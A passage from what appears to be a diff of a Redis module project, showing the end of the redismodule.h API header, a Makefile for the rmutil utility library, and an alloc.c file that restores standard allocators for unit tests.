#define REDISMODULE_GET_API(name) \
|
||||
RedisModule_GetApi("RedisModule_" #name, ((void **)&RedisModule_ ## name))
|
||||
|
||||
#define REDISMODULE_API_FUNC(x) (*x)
|
||||
|
||||
|
||||
void *REDISMODULE_API_FUNC(RedisModule_Alloc)(size_t bytes);
|
||||
void *REDISMODULE_API_FUNC(RedisModule_Realloc)(void *ptr, size_t bytes);
|
||||
void REDISMODULE_API_FUNC(RedisModule_Free)(void *ptr);
|
||||
void *REDISMODULE_API_FUNC(RedisModule_Calloc)(size_t nmemb, size_t size);
|
||||
char *REDISMODULE_API_FUNC(RedisModule_Strdup)(const char *str);
|
||||
int REDISMODULE_API_FUNC(RedisModule_GetApi)(const char *, void *);
|
||||
int REDISMODULE_API_FUNC(RedisModule_CreateCommand)(RedisModuleCtx *ctx, const char *name, RedisModuleCmdFunc cmdfunc, const char *strflags, int firstkey, int lastkey, int keystep);
|
||||
void REDISMODULE_API_FUNC(RedisModule_SetModuleAttribs)(RedisModuleCtx *ctx, const char *name, int ver, int apiver);
|
||||
int REDISMODULE_API_FUNC(RedisModule_IsModuleNameBusy)(const char *name);
|
||||
int REDISMODULE_API_FUNC(RedisModule_WrongArity)(RedisModuleCtx *ctx);
|
||||
int REDISMODULE_API_FUNC(RedisModule_ReplyWithLongLong)(RedisModuleCtx *ctx, long long ll);
|
||||
int REDISMODULE_API_FUNC(RedisModule_GetSelectedDb)(RedisModuleCtx *ctx);
|
||||
int REDISMODULE_API_FUNC(RedisModule_SelectDb)(RedisModuleCtx *ctx, int newid);
|
||||
void *REDISMODULE_API_FUNC(RedisModule_OpenKey)(RedisModuleCtx *ctx, RedisModuleString *keyname, int mode);
|
||||
void REDISMODULE_API_FUNC(RedisModule_CloseKey)(RedisModuleKey *kp);
|
||||
int REDISMODULE_API_FUNC(RedisModule_KeyType)(RedisModuleKey *kp);
|
||||
size_t REDISMODULE_API_FUNC(RedisModule_ValueLength)(RedisModuleKey *kp);
|
||||
int REDISMODULE_API_FUNC(RedisModule_ListPush)(RedisModuleKey *kp, int where, RedisModuleString *ele);
|
||||
RedisModuleString *REDISMODULE_API_FUNC(RedisModule_ListPop)(RedisModuleKey *key, int where);
|
||||
RedisModuleCallReply *REDISMODULE_API_FUNC(RedisModule_Call)(RedisModuleCtx *ctx, const char *cmdname, const char *fmt, ...);
|
||||
const char *REDISMODULE_API_FUNC(RedisModule_CallReplyProto)(RedisModuleCallReply *reply, size_t *len);
|
||||
void REDISMODULE_API_FUNC(RedisModule_FreeCallReply)(RedisModuleCallReply *reply);
|
||||
int REDISMODULE_API_FUNC(RedisModule_CallReplyType)(RedisModuleCallReply *reply);
|
||||
long long REDISMODULE_API_FUNC(RedisModule_CallReplyInteger)(RedisModuleCallReply *reply);
|
||||
size_t REDISMODULE_API_FUNC(RedisModule_CallReplyLength)(RedisModuleCallReply *reply);
|
||||
RedisModuleCallReply *REDISMODULE_API_FUNC(RedisModule_CallReplyArrayElement)(RedisModuleCallReply *reply, size_t idx);
|
||||
RedisModuleString *REDISMODULE_API_FUNC(RedisModule_CreateString)(RedisModuleCtx *ctx, const char *ptr, size_t len);
|
||||
RedisModuleString *REDISMODULE_API_FUNC(RedisModule_CreateStringFromLongLong)(RedisModuleCtx *ctx, long long ll);
|
||||
RedisModuleString *REDISMODULE_API_FUNC(RedisModule_CreateStringFromString)(RedisModuleCtx *ctx, const RedisModuleString *str);
|
||||
RedisModuleString *REDISMODULE_API_FUNC(RedisModule_CreateStringPrintf)(RedisModuleCtx *ctx, const char *fmt, ...);
|
||||
void REDISMODULE_API_FUNC(RedisModule_FreeString)(RedisModuleCtx *ctx, RedisModuleString *str);
|
||||
const char *REDISMODULE_API_FUNC(RedisModule_StringPtrLen)(const RedisModuleString *str, size_t *len);
|
||||
int REDISMODULE_API_FUNC(RedisModule_ReplyWithError)(RedisModuleCtx *ctx, const char *err);
|
||||
int REDISMODULE_API_FUNC(RedisModule_ReplyWithSimpleString)(RedisModuleCtx *ctx, const char *msg);
|
||||
int REDISMODULE_API_FUNC(RedisModule_ReplyWithArray)(RedisModuleCtx *ctx, long len);
|
||||
void REDISMODULE_API_FUNC(RedisModule_ReplySetArrayLength)(RedisModuleCtx *ctx, long len);
|
||||
int REDISMODULE_API_FUNC(RedisModule_ReplyWithStringBuffer)(RedisModuleCtx *ctx, const char *buf, size_t len);
|
||||
int REDISMODULE_API_FUNC(RedisModule_ReplyWithString)(RedisModuleCtx *ctx, RedisModuleString *str);
|
||||
int REDISMODULE_API_FUNC(RedisModule_ReplyWithNull)(RedisModuleCtx *ctx);
|
||||
int REDISMODULE_API_FUNC(RedisModule_ReplyWithDouble)(RedisModuleCtx *ctx, double d);
|
||||
int REDISMODULE_API_FUNC(RedisModule_ReplyWithCallReply)(RedisModuleCtx *ctx, RedisModuleCallReply *reply);
|
||||
int REDISMODULE_API_FUNC(RedisModule_StringToLongLong)(const RedisModuleString *str, long long *ll);
|
||||
int REDISMODULE_API_FUNC(RedisModule_StringToDouble)(const RedisModuleString *str, double *d);
|
||||
void REDISMODULE_API_FUNC(RedisModule_AutoMemory)(RedisModuleCtx *ctx);
|
||||
int REDISMODULE_API_FUNC(RedisModule_Replicate)(RedisModuleCtx *ctx, const char *cmdname, const char *fmt, ...);
|
||||
int REDISMODULE_API_FUNC(RedisModule_ReplicateVerbatim)(RedisModuleCtx *ctx);
|
||||
const char *REDISMODULE_API_FUNC(RedisModule_CallReplyStringPtr)(RedisModuleCallReply *reply, size_t *len);
|
||||
RedisModuleString *REDISMODULE_API_FUNC(RedisModule_CreateStringFromCallReply)(RedisModuleCallReply *reply);
|
||||
int REDISMODULE_API_FUNC(RedisModule_DeleteKey)(RedisModuleKey *key);
|
||||
int REDISMODULE_API_FUNC(RedisModule_UnlinkKey)(RedisModuleKey *key);
|
||||
int REDISMODULE_API_FUNC(RedisModule_StringSet)(RedisModuleKey *key, RedisModuleString *str);
|
||||
char *REDISMODULE_API_FUNC(RedisModule_StringDMA)(RedisModuleKey *key, size_t *len, int mode);
|
||||
int REDISMODULE_API_FUNC(RedisModule_StringTruncate)(RedisModuleKey *key, size_t newlen);
|
||||
mstime_t REDISMODULE_API_FUNC(RedisModule_GetExpire)(RedisModuleKey *key);
|
||||
int REDISMODULE_API_FUNC(RedisModule_SetExpire)(RedisModuleKey *key, mstime_t expire);
|
||||
int REDISMODULE_API_FUNC(RedisModule_ZsetAdd)(RedisModuleKey *key, double score, RedisModuleString *ele, int *flagsptr);
|
||||
int REDISMODULE_API_FUNC(RedisModule_ZsetIncrby)(RedisModuleKey *key, double score, RedisModuleString *ele, int *flagsptr, double *newscore);
|
||||
int REDISMODULE_API_FUNC(RedisModule_ZsetScore)(RedisModuleKey *key, RedisModuleString *ele, double *score);
|
||||
int REDISMODULE_API_FUNC(RedisModule_ZsetRem)(RedisModuleKey *key, RedisModuleString *ele, int *deleted);
|
||||
void REDISMODULE_API_FUNC(RedisModule_ZsetRangeStop)(RedisModuleKey *key);
|
||||
int REDISMODULE_API_FUNC(RedisModule_ZsetFirstInScoreRange)(RedisModuleKey *key, double min, double max, int minex, int maxex);
|
||||
int REDISMODULE_API_FUNC(RedisModule_ZsetLastInScoreRange)(RedisModuleKey *key, double min, double max, int minex, int maxex);
|
||||
int REDISMODULE_API_FUNC(RedisModule_ZsetFirstInLexRange)(RedisModuleKey *key, RedisModuleString *min, RedisModuleString *max);
|
||||
int REDISMODULE_API_FUNC(RedisModule_ZsetLastInLexRange)(RedisModuleKey *key, RedisModuleString *min, RedisModuleString *max);
|
||||
RedisModuleString *REDISMODULE_API_FUNC(RedisModule_ZsetRangeCurrentElement)(RedisModuleKey *key, double *score);
|
||||
int REDISMODULE_API_FUNC(RedisModule_ZsetRangeNext)(RedisModuleKey *key);
|
||||
int REDISMODULE_API_FUNC(RedisModule_ZsetRangePrev)(RedisModuleKey *key);
|
||||
int REDISMODULE_API_FUNC(RedisModule_ZsetRangeEndReached)(RedisModuleKey *key);
|
||||
int REDISMODULE_API_FUNC(RedisModule_HashSet)(RedisModuleKey *key, int flags, ...);
|
||||
int REDISMODULE_API_FUNC(RedisModule_HashGet)(RedisModuleKey *key, int flags, ...);
|
||||
int REDISMODULE_API_FUNC(RedisModule_IsKeysPositionRequest)(RedisModuleCtx *ctx);
|
||||
void REDISMODULE_API_FUNC(RedisModule_KeyAtPos)(RedisModuleCtx *ctx, int pos);
|
||||
unsigned long long REDISMODULE_API_FUNC(RedisModule_GetClientId)(RedisModuleCtx *ctx);
|
||||
int REDISMODULE_API_FUNC(RedisModule_GetContextFlags)(RedisModuleCtx *ctx);
|
||||
void *REDISMODULE_API_FUNC(RedisModule_PoolAlloc)(RedisModuleCtx *ctx, size_t bytes);
|
||||
RedisModuleType *REDISMODULE_API_FUNC(RedisModule_CreateDataType)(RedisModuleCtx *ctx, const char *name, int encver, RedisModuleTypeMethods *typemethods);
|
||||
int REDISMODULE_API_FUNC(RedisModule_ModuleTypeSetValue)(RedisModuleKey *key, RedisModuleType *mt, void *value);
|
||||
RedisModuleType *REDISMODULE_API_FUNC(RedisModule_ModuleTypeGetType)(RedisModuleKey *key);
|
||||
void *REDISMODULE_API_FUNC(RedisModule_ModuleTypeGetValue)(RedisModuleKey *key);
|
||||
void REDISMODULE_API_FUNC(RedisModule_SaveUnsigned)(RedisModuleIO *io, uint64_t value);
|
||||
uint64_t REDISMODULE_API_FUNC(RedisModule_LoadUnsigned)(RedisModuleIO *io);
|
||||
void REDISMODULE_API_FUNC(RedisModule_SaveSigned)(RedisModuleIO *io, int64_t value);
|
||||
int64_t REDISMODULE_API_FUNC(RedisModule_LoadSigned)(RedisModuleIO *io);
|
||||
void REDISMODULE_API_FUNC(RedisModule_EmitAOF)(RedisModuleIO *io, const char *cmdname, const char *fmt, ...);
|
||||
void REDISMODULE_API_FUNC(RedisModule_SaveString)(RedisModuleIO *io, RedisModuleString *s);
|
||||
void REDISMODULE_API_FUNC(RedisModule_SaveStringBuffer)(RedisModuleIO *io, const char *str, size_t len);
|
||||
RedisModuleString *REDISMODULE_API_FUNC(RedisModule_LoadString)(RedisModuleIO *io);
|
||||
char *REDISMODULE_API_FUNC(RedisModule_LoadStringBuffer)(RedisModuleIO *io, size_t *lenptr);
|
||||
void REDISMODULE_API_FUNC(RedisModule_SaveDouble)(RedisModuleIO *io, double value);
|
||||
double REDISMODULE_API_FUNC(RedisModule_LoadDouble)(RedisModuleIO *io);
|
||||
void REDISMODULE_API_FUNC(RedisModule_SaveFloat)(RedisModuleIO *io, float value);
|
||||
float REDISMODULE_API_FUNC(RedisModule_LoadFloat)(RedisModuleIO *io);
|
||||
void REDISMODULE_API_FUNC(RedisModule_Log)(RedisModuleCtx *ctx, const char *level, const char *fmt, ...);
|
||||
void REDISMODULE_API_FUNC(RedisModule_LogIOError)(RedisModuleIO *io, const char *levelstr, const char *fmt, ...);
|
||||
int REDISMODULE_API_FUNC(RedisModule_StringAppendBuffer)(RedisModuleCtx *ctx, RedisModuleString *str, const char *buf, size_t len);
|
||||
void REDISMODULE_API_FUNC(RedisModule_RetainString)(RedisModuleCtx *ctx, RedisModuleString *str);
|
||||
int REDISMODULE_API_FUNC(RedisModule_StringCompare)(RedisModuleString *a, RedisModuleString *b);
|
||||
RedisModuleCtx *REDISMODULE_API_FUNC(RedisModule_GetContextFromIO)(RedisModuleIO *io);
|
||||
long long REDISMODULE_API_FUNC(RedisModule_Milliseconds)(void);
|
||||
void REDISMODULE_API_FUNC(RedisModule_DigestAddStringBuffer)(RedisModuleDigest *md, unsigned char *ele, size_t len);
|
||||
void REDISMODULE_API_FUNC(RedisModule_DigestAddLongLong)(RedisModuleDigest *md, long long ele);
|
||||
void REDISMODULE_API_FUNC(RedisModule_DigestEndSequence)(RedisModuleDigest *md);
|
||||
RedisModuleDict *REDISMODULE_API_FUNC(RedisModule_CreateDict)(RedisModuleCtx *ctx);
|
||||
void REDISMODULE_API_FUNC(RedisModule_FreeDict)(RedisModuleCtx *ctx, RedisModuleDict *d);
|
||||
uint64_t REDISMODULE_API_FUNC(RedisModule_DictSize)(RedisModuleDict *d);
|
||||
int REDISMODULE_API_FUNC(RedisModule_DictSetC)(RedisModuleDict *d, void *key, size_t keylen, void *ptr);
|
||||
int REDISMODULE_API_FUNC(RedisModule_DictReplaceC)(RedisModuleDict *d, void *key, size_t keylen, void *ptr);
|
||||
int REDISMODULE_API_FUNC(RedisModule_DictSet)(RedisModuleDict *d, RedisModuleString *key, void *ptr);
|
||||
int REDISMODULE_API_FUNC(RedisModule_DictReplace)(RedisModuleDict *d, RedisModuleString *key, void *ptr);
|
||||
void *REDISMODULE_API_FUNC(RedisModule_DictGetC)(RedisModuleDict *d, void *key, size_t keylen, int *nokey);
|
||||
void *REDISMODULE_API_FUNC(RedisModule_DictGet)(RedisModuleDict *d, RedisModuleString *key, int *nokey);
|
||||
int REDISMODULE_API_FUNC(RedisModule_DictDelC)(RedisModuleDict *d, void *key, size_t keylen, void *oldval);
|
||||
int REDISMODULE_API_FUNC(RedisModule_DictDel)(RedisModuleDict *d, RedisModuleString *key, void *oldval);
|
||||
RedisModuleDictIter *REDISMODULE_API_FUNC(RedisModule_DictIteratorStartC)(RedisModuleDict *d, const char *op, void *key, size_t keylen);
|
||||
RedisModuleDictIter *REDISMODULE_API_FUNC(RedisModule_DictIteratorStart)(RedisModuleDict *d, const char *op, RedisModuleString *key);
|
||||
void REDISMODULE_API_FUNC(RedisModule_DictIteratorStop)(RedisModuleDictIter *di);
|
||||
int REDISMODULE_API_FUNC(RedisModule_DictIteratorReseekC)(RedisModuleDictIter *di, const char *op, void *key, size_t keylen);
|
||||
int REDISMODULE_API_FUNC(RedisModule_DictIteratorReseek)(RedisModuleDictIter *di, const char *op, RedisModuleString *key);
|
||||
void *REDISMODULE_API_FUNC(RedisModule_DictNextC)(RedisModuleDictIter *di, size_t *keylen, void **dataptr);
|
||||
void *REDISMODULE_API_FUNC(RedisModule_DictPrevC)(RedisModuleDictIter *di, size_t *keylen, void **dataptr);
|
||||
RedisModuleString *REDISMODULE_API_FUNC(RedisModule_DictNext)(RedisModuleCtx *ctx, RedisModuleDictIter *di, void **dataptr);
|
||||
RedisModuleString *REDISMODULE_API_FUNC(RedisModule_DictPrev)(RedisModuleCtx *ctx, RedisModuleDictIter *di, void **dataptr);
|
||||
int REDISMODULE_API_FUNC(RedisModule_DictCompareC)(RedisModuleDictIter *di, const char *op, void *key, size_t keylen);
|
||||
int REDISMODULE_API_FUNC(RedisModule_DictCompare)(RedisModuleDictIter *di, const char *op, RedisModuleString *key);
|
||||
|
||||
/* Experimental APIs */
|
||||
#ifdef REDISMODULE_EXPERIMENTAL_API
|
||||
#define REDISMODULE_EXPERIMENTAL_API_VERSION 3
|
||||
RedisModuleBlockedClient *REDISMODULE_API_FUNC(RedisModule_BlockClient)(RedisModuleCtx *ctx, RedisModuleCmdFunc reply_callback, RedisModuleCmdFunc timeout_callback, void (*free_privdata)(RedisModuleCtx*,void*), long long timeout_ms);
|
||||
int REDISMODULE_API_FUNC(RedisModule_UnblockClient)(RedisModuleBlockedClient *bc, void *privdata);
|
||||
int REDISMODULE_API_FUNC(RedisModule_IsBlockedReplyRequest)(RedisModuleCtx *ctx);
|
||||
int REDISMODULE_API_FUNC(RedisModule_IsBlockedTimeoutRequest)(RedisModuleCtx *ctx);
|
||||
void *REDISMODULE_API_FUNC(RedisModule_GetBlockedClientPrivateData)(RedisModuleCtx *ctx);
|
||||
RedisModuleBlockedClient *REDISMODULE_API_FUNC(RedisModule_GetBlockedClientHandle)(RedisModuleCtx *ctx);
|
||||
int REDISMODULE_API_FUNC(RedisModule_AbortBlock)(RedisModuleBlockedClient *bc);
|
||||
RedisModuleCtx *REDISMODULE_API_FUNC(RedisModule_GetThreadSafeContext)(RedisModuleBlockedClient *bc);
|
||||
void REDISMODULE_API_FUNC(RedisModule_FreeThreadSafeContext)(RedisModuleCtx *ctx);
|
||||
void REDISMODULE_API_FUNC(RedisModule_ThreadSafeContextLock)(RedisModuleCtx *ctx);
|
||||
void REDISMODULE_API_FUNC(RedisModule_ThreadSafeContextUnlock)(RedisModuleCtx *ctx);
|
||||
int REDISMODULE_API_FUNC(RedisModule_SubscribeToKeyspaceEvents)(RedisModuleCtx *ctx, int types, RedisModuleNotificationFunc cb);
|
||||
int REDISMODULE_API_FUNC(RedisModule_BlockedClientDisconnected)(RedisModuleCtx *ctx);
|
||||
void REDISMODULE_API_FUNC(RedisModule_RegisterClusterMessageReceiver)(RedisModuleCtx *ctx, uint8_t type, RedisModuleClusterMessageReceiver callback);
|
||||
int REDISMODULE_API_FUNC(RedisModule_SendClusterMessage)(RedisModuleCtx *ctx, char *target_id, uint8_t type, unsigned char *msg, uint32_t len);
|
||||
int REDISMODULE_API_FUNC(RedisModule_GetClusterNodeInfo)(RedisModuleCtx *ctx, const char *id, char *ip, char *master_id, int *port, int *flags);
|
||||
char **REDISMODULE_API_FUNC(RedisModule_GetClusterNodesList)(RedisModuleCtx *ctx, size_t *numnodes);
|
||||
void REDISMODULE_API_FUNC(RedisModule_FreeClusterNodesList)(char **ids);
|
||||
RedisModuleTimerID REDISMODULE_API_FUNC(RedisModule_CreateTimer)(RedisModuleCtx *ctx, mstime_t period, RedisModuleTimerProc callback, void *data);
|
||||
int REDISMODULE_API_FUNC(RedisModule_StopTimer)(RedisModuleCtx *ctx, RedisModuleTimerID id, void **data);
|
||||
int REDISMODULE_API_FUNC(RedisModule_GetTimerInfo)(RedisModuleCtx *ctx, RedisModuleTimerID id, uint64_t *remaining, void **data);
|
||||
const char *REDISMODULE_API_FUNC(RedisModule_GetMyClusterID)(void);
|
||||
size_t REDISMODULE_API_FUNC(RedisModule_GetClusterSize)(void);
|
||||
void REDISMODULE_API_FUNC(RedisModule_GetRandomBytes)(unsigned char *dst, size_t len);
|
||||
void REDISMODULE_API_FUNC(RedisModule_GetRandomHexChars)(char *dst, size_t len);
|
||||
void REDISMODULE_API_FUNC(RedisModule_SetDisconnectCallback)(RedisModuleBlockedClient *bc, RedisModuleDisconnectFunc callback);
|
||||
void REDISMODULE_API_FUNC(RedisModule_SetClusterFlags)(RedisModuleCtx *ctx, uint64_t flags);
|
||||
#endif
|
||||
|
||||
/* This is included inline inside each Redis module. */
|
||||
static int RedisModule_Init(RedisModuleCtx *ctx, const char *name, int ver, int apiver) __attribute__((unused));
|
||||
static int RedisModule_Init(RedisModuleCtx *ctx, const char *name, int ver, int apiver) {
|
||||
void *getapifuncptr = ((void**)ctx)[0];
|
||||
RedisModule_GetApi = (int (*)(const char *, void *)) (unsigned long)getapifuncptr;
|
||||
REDISMODULE_GET_API(Alloc);
|
||||
REDISMODULE_GET_API(Calloc);
|
||||
REDISMODULE_GET_API(Free);
|
||||
REDISMODULE_GET_API(Realloc);
|
||||
REDISMODULE_GET_API(Strdup);
|
||||
REDISMODULE_GET_API(CreateCommand);
|
||||
REDISMODULE_GET_API(SetModuleAttribs);
|
||||
REDISMODULE_GET_API(IsModuleNameBusy);
|
||||
REDISMODULE_GET_API(WrongArity);
|
||||
REDISMODULE_GET_API(ReplyWithLongLong);
|
||||
REDISMODULE_GET_API(ReplyWithError);
|
||||
REDISMODULE_GET_API(ReplyWithSimpleString);
|
||||
REDISMODULE_GET_API(ReplyWithArray);
|
||||
REDISMODULE_GET_API(ReplySetArrayLength);
|
||||
REDISMODULE_GET_API(ReplyWithStringBuffer);
|
||||
REDISMODULE_GET_API(ReplyWithString);
|
||||
REDISMODULE_GET_API(ReplyWithNull);
|
||||
REDISMODULE_GET_API(ReplyWithCallReply);
|
||||
REDISMODULE_GET_API(ReplyWithDouble);
|
||||
REDISMODULE_GET_API(ReplySetArrayLength);
|
||||
REDISMODULE_GET_API(GetSelectedDb);
|
||||
REDISMODULE_GET_API(SelectDb);
|
||||
REDISMODULE_GET_API(OpenKey);
|
||||
REDISMODULE_GET_API(CloseKey);
|
||||
REDISMODULE_GET_API(KeyType);
|
||||
REDISMODULE_GET_API(ValueLength);
|
||||
REDISMODULE_GET_API(ListPush);
|
||||
REDISMODULE_GET_API(ListPop);
|
||||
REDISMODULE_GET_API(StringToLongLong);
|
||||
REDISMODULE_GET_API(StringToDouble);
|
||||
REDISMODULE_GET_API(Call);
|
||||
REDISMODULE_GET_API(CallReplyProto);
|
||||
REDISMODULE_GET_API(FreeCallReply);
|
||||
REDISMODULE_GET_API(CallReplyInteger);
|
||||
REDISMODULE_GET_API(CallReplyType);
|
||||
REDISMODULE_GET_API(CallReplyLength);
|
||||
REDISMODULE_GET_API(CallReplyArrayElement);
|
||||
REDISMODULE_GET_API(CallReplyStringPtr);
|
||||
REDISMODULE_GET_API(CreateStringFromCallReply);
|
||||
REDISMODULE_GET_API(CreateString);
|
||||
REDISMODULE_GET_API(CreateStringFromLongLong);
|
||||
REDISMODULE_GET_API(CreateStringFromString);
|
||||
REDISMODULE_GET_API(CreateStringPrintf);
|
||||
REDISMODULE_GET_API(FreeString);
|
||||
REDISMODULE_GET_API(StringPtrLen);
|
||||
REDISMODULE_GET_API(AutoMemory);
|
||||
REDISMODULE_GET_API(Replicate);
|
||||
REDISMODULE_GET_API(ReplicateVerbatim);
|
||||
REDISMODULE_GET_API(DeleteKey);
|
||||
REDISMODULE_GET_API(UnlinkKey);
|
||||
REDISMODULE_GET_API(StringSet);
|
||||
REDISMODULE_GET_API(StringDMA);
|
||||
REDISMODULE_GET_API(StringTruncate);
|
||||
REDISMODULE_GET_API(GetExpire);
|
||||
REDISMODULE_GET_API(SetExpire);
|
||||
REDISMODULE_GET_API(ZsetAdd);
|
||||
REDISMODULE_GET_API(ZsetIncrby);
|
||||
REDISMODULE_GET_API(ZsetScore);
|
||||
REDISMODULE_GET_API(ZsetRem);
|
||||
REDISMODULE_GET_API(ZsetRangeStop);
|
||||
REDISMODULE_GET_API(ZsetFirstInScoreRange);
|
||||
REDISMODULE_GET_API(ZsetLastInScoreRange);
|
||||
REDISMODULE_GET_API(ZsetFirstInLexRange);
|
||||
REDISMODULE_GET_API(ZsetLastInLexRange);
|
||||
REDISMODULE_GET_API(ZsetRangeCurrentElement);
|
||||
REDISMODULE_GET_API(ZsetRangeNext);
|
||||
REDISMODULE_GET_API(ZsetRangePrev);
|
||||
REDISMODULE_GET_API(ZsetRangeEndReached);
|
||||
REDISMODULE_GET_API(HashSet);
|
||||
REDISMODULE_GET_API(HashGet);
|
||||
REDISMODULE_GET_API(IsKeysPositionRequest);
|
||||
REDISMODULE_GET_API(KeyAtPos);
|
||||
REDISMODULE_GET_API(GetClientId);
|
||||
REDISMODULE_GET_API(GetContextFlags);
|
||||
REDISMODULE_GET_API(PoolAlloc);
|
||||
REDISMODULE_GET_API(CreateDataType);
|
||||
REDISMODULE_GET_API(ModuleTypeSetValue);
|
||||
REDISMODULE_GET_API(ModuleTypeGetType);
|
||||
REDISMODULE_GET_API(ModuleTypeGetValue);
|
||||
REDISMODULE_GET_API(SaveUnsigned);
|
||||
REDISMODULE_GET_API(LoadUnsigned);
|
||||
REDISMODULE_GET_API(SaveSigned);
|
||||
REDISMODULE_GET_API(LoadSigned);
|
||||
REDISMODULE_GET_API(SaveString);
|
||||
REDISMODULE_GET_API(SaveStringBuffer);
|
||||
REDISMODULE_GET_API(LoadString);
|
||||
REDISMODULE_GET_API(LoadStringBuffer);
|
||||
REDISMODULE_GET_API(SaveDouble);
|
||||
REDISMODULE_GET_API(LoadDouble);
|
||||
REDISMODULE_GET_API(SaveFloat);
|
||||
REDISMODULE_GET_API(LoadFloat);
|
||||
REDISMODULE_GET_API(EmitAOF);
|
||||
REDISMODULE_GET_API(Log);
|
||||
REDISMODULE_GET_API(LogIOError);
|
||||
REDISMODULE_GET_API(StringAppendBuffer);
|
||||
REDISMODULE_GET_API(RetainString);
|
||||
REDISMODULE_GET_API(StringCompare);
|
||||
REDISMODULE_GET_API(GetContextFromIO);
|
||||
REDISMODULE_GET_API(Milliseconds);
|
||||
REDISMODULE_GET_API(DigestAddStringBuffer);
|
||||
REDISMODULE_GET_API(DigestAddLongLong);
|
||||
REDISMODULE_GET_API(DigestEndSequence);
|
||||
REDISMODULE_GET_API(CreateDict);
|
||||
REDISMODULE_GET_API(FreeDict);
|
||||
REDISMODULE_GET_API(DictSize);
|
||||
REDISMODULE_GET_API(DictSetC);
|
||||
REDISMODULE_GET_API(DictReplaceC);
|
||||
REDISMODULE_GET_API(DictSet);
|
||||
REDISMODULE_GET_API(DictReplace);
|
||||
REDISMODULE_GET_API(DictGetC);
|
||||
REDISMODULE_GET_API(DictGet);
|
||||
REDISMODULE_GET_API(DictDelC);
|
||||
REDISMODULE_GET_API(DictDel);
|
||||
REDISMODULE_GET_API(DictIteratorStartC);
|
||||
REDISMODULE_GET_API(DictIteratorStart);
|
||||
REDISMODULE_GET_API(DictIteratorStop);
|
||||
REDISMODULE_GET_API(DictIteratorReseekC);
|
||||
REDISMODULE_GET_API(DictIteratorReseek);
|
||||
REDISMODULE_GET_API(DictNextC);
|
||||
REDISMODULE_GET_API(DictPrevC);
|
||||
REDISMODULE_GET_API(DictNext);
|
||||
REDISMODULE_GET_API(DictPrev);
|
||||
REDISMODULE_GET_API(DictCompare);
|
||||
REDISMODULE_GET_API(DictCompareC);
|
||||
|
||||
#ifdef REDISMODULE_EXPERIMENTAL_API
|
||||
REDISMODULE_GET_API(GetThreadSafeContext);
|
||||
REDISMODULE_GET_API(FreeThreadSafeContext);
|
||||
REDISMODULE_GET_API(ThreadSafeContextLock);
|
||||
REDISMODULE_GET_API(ThreadSafeContextUnlock);
|
||||
REDISMODULE_GET_API(BlockClient);
|
||||
REDISMODULE_GET_API(UnblockClient);
|
||||
REDISMODULE_GET_API(IsBlockedReplyRequest);
|
||||
REDISMODULE_GET_API(IsBlockedTimeoutRequest);
|
||||
REDISMODULE_GET_API(GetBlockedClientPrivateData);
|
||||
REDISMODULE_GET_API(GetBlockedClientHandle);
|
||||
REDISMODULE_GET_API(AbortBlock);
|
||||
REDISMODULE_GET_API(SetDisconnectCallback);
|
||||
REDISMODULE_GET_API(SubscribeToKeyspaceEvents);
|
||||
REDISMODULE_GET_API(BlockedClientDisconnected);
|
||||
REDISMODULE_GET_API(RegisterClusterMessageReceiver);
|
||||
REDISMODULE_GET_API(SendClusterMessage);
|
||||
REDISMODULE_GET_API(GetClusterNodeInfo);
|
||||
REDISMODULE_GET_API(GetClusterNodesList);
|
||||
REDISMODULE_GET_API(FreeClusterNodesList);
|
||||
REDISMODULE_GET_API(CreateTimer);
|
||||
REDISMODULE_GET_API(StopTimer);
|
||||
REDISMODULE_GET_API(GetTimerInfo);
|
||||
REDISMODULE_GET_API(GetMyClusterID);
|
||||
REDISMODULE_GET_API(GetClusterSize);
|
||||
REDISMODULE_GET_API(GetRandomBytes);
|
||||
REDISMODULE_GET_API(GetRandomHexChars);
|
||||
REDISMODULE_GET_API(SetClusterFlags);
|
||||
#endif
|
||||
|
||||
if (RedisModule_IsModuleNameBusy && RedisModule_IsModuleNameBusy(name)) return REDISMODULE_ERR;
|
||||
RedisModule_SetModuleAttribs(ctx,name,ver,apiver);
|
||||
return REDISMODULE_OK;
|
||||
}
|
||||
|
||||
#else
|
||||
|
||||
/* Things only defined for the modules core, not exported to modules
|
||||
* including this file. */
|
||||
#define RedisModuleString robj
|
||||
|
||||
#endif /* REDISMODULE_CORE */
|
||||
#endif /* REDISMOUDLE_H */
|
||||
@@ -0,0 +1,31 @@
|
||||
# set environment variable RM_INCLUDE_DIR to the location of redismodule.h
|
||||
ifndef RM_INCLUDE_DIR
|
||||
RM_INCLUDE_DIR=../
|
||||
endif
|
||||
|
||||
CFLAGS ?= -g -fPIC -O3 -std=gnu99 -Wall -Wno-unused-function
|
||||
CFLAGS += -I$(RM_INCLUDE_DIR)
|
||||
CC=gcc
|
||||
|
||||
OBJS=util.o strings.o sds.o vector.o alloc.o periodic.o
|
||||
|
||||
all: librmutil.a
|
||||
|
||||
clean:
|
||||
rm -rf *.o *.a
|
||||
|
||||
librmutil.a: $(OBJS)
|
||||
ar rcs $@ $^
|
||||
|
||||
test_vector: test_vector.o vector.o
|
||||
$(CC) -Wall -o $@ $^ -lc -lpthread -O0
|
||||
@(sh -c ./$@)
|
||||
.PHONY: test_vector
|
||||
|
||||
test_periodic: test_periodic.o periodic.o
|
||||
$(CC) -Wall -o $@ $^ -lc -lpthread -O0
|
||||
@(sh -c ./$@)
|
||||
.PHONY: test_periodic
|
||||
|
||||
test: test_periodic test_vector
|
||||
.PHONY: test
|
||||
@@ -0,0 +1,32 @@
|
||||
#include <string.h>
|
||||
#include <stdlib.h>
|
||||
#include <stdio.h>
|
||||
#include "alloc.h"
|
||||
|
||||
/* A patched implementation of strdup that will use our patched calloc */
|
||||
char *rmalloc_strndup(const char *s, size_t n) {
|
||||
char *ret = calloc(n + 1, sizeof(char));
|
||||
if (ret)
|
||||
memcpy(ret, s, n);
|
||||
return ret;
|
||||
}
|
||||
|
||||
/*
|
||||
* Re-patching RedisModule_Alloc and friends to the original malloc functions
|
||||
*
|
||||
* This function should be called if you are working with malloc-patched code
|
||||
* outside of redis, usually for unit tests. Call it once when entering your unit
|
||||
* tests' main().
|
||||
*
|
||||
* Since including "alloc.h" while defining REDIS_MODULE_TARGET
|
||||
* replaces all malloc functions in redis with the RM_Alloc family of functions,
|
||||
* when running that code outside of redis, your app will crash. This function
|
||||
* patches the RM_Alloc functions back to the original mallocs. */
|
||||
void RMUTil_InitAlloc() {
|
||||
|
||||
RedisModule_Alloc = malloc;
|
||||
RedisModule_Realloc = realloc;
|
||||
RedisModule_Calloc = calloc;
|
||||
RedisModule_Free = free;
|
||||
RedisModule_Strdup = strdup;
|
||||
}
|
||||
